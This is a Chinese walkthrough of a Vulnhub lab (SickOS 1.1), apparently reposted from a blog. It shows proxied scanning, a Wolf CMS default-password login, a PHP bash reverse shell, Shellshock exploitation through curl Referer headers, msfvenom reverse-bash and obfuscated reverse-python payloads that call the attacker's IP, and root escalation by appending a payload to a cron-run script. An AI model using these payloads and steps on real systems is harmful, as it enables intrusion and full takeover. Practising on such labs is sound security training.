【Vulnhub靶机】SickOS1.1--Squid代理以及ShellShock漏洞利用
文章目录
文档 说明:https://www.vulnhub.com/entry/sickos-11,132/
Download (Mirror): https://download.vulnhub.com/sickos/sick0s1.1.7z
nmap信息收集
主机发现
端口扫描
sudo nmap --min-rate 10000 -p- 10.9.75.14
详细端口扫描
sudo nmap -sT -sV -O -sC -p22,3128,8080 10.9.75.14
udp扫描
sudo nmap -sU -p22,3128,8080 10.9.75.14
指定漏洞脚本扫描
sudo nmap --script=vuln -p22,3128,8080 10.9.75.14
根据上面扫出来的结果 ,发现使用了代理服务,
8080是http-proxy,关闭状态
3128是squid-http,开放状态
根据百度返回的结果,知道squid
也是一个代理服务器
Squid代理服务器是基于Unix的代理服务器(proxy server),它缓存比起点源点更接近请求者的互联网内容。Squid支持缓存多种不同的网络对象,包括那些通过HTTP 和 FTP访问的人。
先尝试访问一下吧
访问3128端口,返回一个错误页面
目录扫描
但是都没有得到正常的输出
这里需要使用代理去爆破目录
dirsearch -u http://10.9.75.14 -i 200 --proxy=http://10.9.75.14:3128
dirb http://10.9.75.14 -p http://10.9.75.14:3128
既然目录扫描使用到了代理,那么浏览器访问也需要使用代理
浏览器直接访问靶机地址
渗透方式一:Squid代理
访问robots.txt
有一个wolfcms目录
在Articles
界面发现有类似于文章的东西
查找cms默认信息
有Posted by Administrator 的字样,可以在网上找管理员的路径
google浏览器搜索:wolfcms admin path
访问:10.9.75.14/wolfcms/?admin,跳转到一个登陆界面
可以去网上找找这个cms,有没有默认的用户名密码,或者直接尝试一些弱口令试一试
输入admin:admin
登陆成功
发现这个都有php的代码,可以写一句话反弹
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.9.75.3/6868 0>&1'"); ?>
GetShell
kali这边写开启监听
回到http://10.9.75.14/wolfcms/这个界面,点击Articles
触发反弹shell
在当前路径下有一个config.php
文件
可以看到数据库的用户名是root
,密码是john@123
。
通过 cat /etc/passwd
查看到当前系统有 bash 交互环境的用户只有 root 和 sickos
由于 22 端口是开放的,所以我们可以通过 ssh 连接至这台机器,那么猜测一下,这个数据库的密码会不会和这个系统用户的密码相同呢?
尝试SSH连接
使用sickos:john@123
连接SSH成功
查看有哪些能够以root身份执行的
发现有所有的权限
那么就可以直接拿到root
渗透方式二:ShellShock漏洞
nikto漏洞扫描
用nikto对靶机进行扫描。nikto是一个用于网页服务器漏洞扫描的工具,是kali中自带的
nikto -h 10.9.75.14 -useproxy http://10.9.75.14:3128
扫描结果发现在路径/cgi-bin/status目录下存在shellshock漏洞。shellshock是一个有关bash的漏洞,也称为Bashdoor
尝试用curl发送请求进行验证
curl -v --proxy http://10.9.75.14:3128 http://10.9.75.14/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
curl
: Curl是一个命令行工具,用于发送HTTP请求和获取相应的数据。-v
: 这个选项表示在执行请求时显示详细的输出,包括请求头和响应信息。--proxy http://10.9.75.14:3128
: 这个选项指定了使用代理服务器进行请求。代理服务器的地址是10.9.75.14,端口是3128。这是为了通过代理服务器发起请求,可能是为了绕过某些防火墙或进行中间人攻击。http://10.9.75.14/cgi-bin/status
: 这是要请求的URL地址。10.9.75.14是目标服务器的IP地址,/cgi-bin/status是目标服务器上的一个CGI脚本路径。-H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
: 这个选项指定了一个自定义的请求头"Referer"。Shellshock漏洞可以通过构造恶意的Referer头来执行任意命令。在这个例子中,构造的Referer头包含了一段Shellshock的Payload,以执行/usr/bin/id命令并打印当前用户的身份信息
msfvenom反弹 shell
用msfvenom生成反弹shell到kali的6868端口的命令。Kali中的msfvenom取代了msfpayload和msfencode,常用于生成后门木马。生成bash反弹shell命令的如下
sudo msfvenom -p cmd/unix/reverse_bash lhost=10.9.75.3 lport=6868 -f raw
-p表示指定需要使用的payload(攻击荷载),这里使用反弹的bash的shell,即reverse_bash
-f 指定输出格式,这里使用源码格式raw。
lhost和lport表示反弹shell的ip和端口,此处是kali的ip和一会开启nc监听的6868端口。
Payload:
0<&185-;exec 185<>/dev/tcp/10.9.75.3/6868;sh <&185 >&185 2>&185
payload一会要放入curl构造的payload命令中。先在kali中开启监听6868端口
GetShell
然后使用curl命令执行payload
curl -v --proxy http://10.9.75.14:3128 http://10.9.75.14/cgi-bin/status -H "Referer:() { test;}; 0<&185-;exec 185<>/dev/tcp/10.9.75.3/6868;sh <&185 >&185 2>&185"
监听的端口并没有收到反弹shell,显示没有对应的目录,因此要把命令中的sh写为完整路径/bin/bash,我们先重启一个监听:
接下来另一个终端重新构造curl命令,将sh改为/bin/bash,完整的命令如下:
curl -v --proxy http://10.9.75.14:3128 http://10.9.75.14/cgi-bin/status -H "Referer:() { test;}; 0<&185-;exec 185<>/dev/tcp/10.9.75.3/6868;/bin/sh <&185 >&185 2>&185"
好像反弹成功了,但是好像没有回想
我们先用dpkg –l
看一看有没有安装python
,试图使用python
获得交互性更好的shell
发现是有python环境的,用python获取交互性更好的shell
python -c "import pty;pty.spawn('/bin/bash')"
crontab提权
已经拿到了www-data的shell,接下来就是想办法提权为root。我们只能先在www-data的shell中看看有哪些信息可以利用。www-data一般是网站的权限,先看看网站跟目录/var/www/中有什么吧。
当cat connect.py
时 看到 “I Try to connect things very frequently” “很规律的去连接一些事情,你可以尝试我的服务” ,也就是说明应该有一个定时任务
cat etc/crontab #常用,没有的话看看第二个命令
cat etc/cron.d #cron.d 是/etc下的目录,重点进去是否有计划任务文件
会以root身份每分钟执行connect.py文件,这个connect.py就是我们刚刚给我们提示的文件,因此我们想到了提权的方法,在connect.py文件中添加payload反弹shell,因为会定期执行,我们只要等待定时任务执行即可。那么,就需要生成python中的反弹shell的payload,还是用msfvenom,这回-p指定获取python的反弹shell,命令如下(反弹到6869端口):
msfvenom -p cmd/unix/reverse_python lhost=10.9.75.3 lport=6869 -f raw
payload如下:
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFT8sKwjAQ/JWSUwKSPsRqkRyKVBBRwfZebIy0WLOhm/6/xAQ8di/DPHaHHT4GJhshyLeykZsVzp2ZQCpEz+GH+6gHtIKkCS/4dsPXxKtuXeS7vPAUhT/FPdDAymN7ulZNKPBafTuc27q5V+WFhWUuQWslLaWuzKddAQsBQP6cTUaRv4ZRaaDMZ5IFP13ws+Ab8X+ey8c4UhJ3g46xJ+wLkl1TyA==')[0])))
回到www-data的shell中,在/var/www/connect.py文件中添加msfvenom生成的payload。由于这个shell交互性还是差,vi或vim工具太难用了,因此我直接追加命令到connect.py,运行命令的目录是/var/www
echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFT8sKwjAQ/JWSUwKSPsRqkRyKVBBRwfZebIy0WLOhm/6/xAQ8di/DPHaHHT4GJhshyLeykZsVzp2ZQCpEz+GH+6gHtIKkCS/4dsPXxKtuXeS7vPAUhT/FPdDAymN7ulZNKPBafTuc27q5V+WFhWUuQWslLaWuzKddAQsBQP6cTUaRv4ZRaaDMZ5IFP13ws+Ab8X+ey8c4UhJ3g46xJ+wLkl1TyA==')[0])))">>connect.py
kali开启监听6869端口
成功拿到root
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!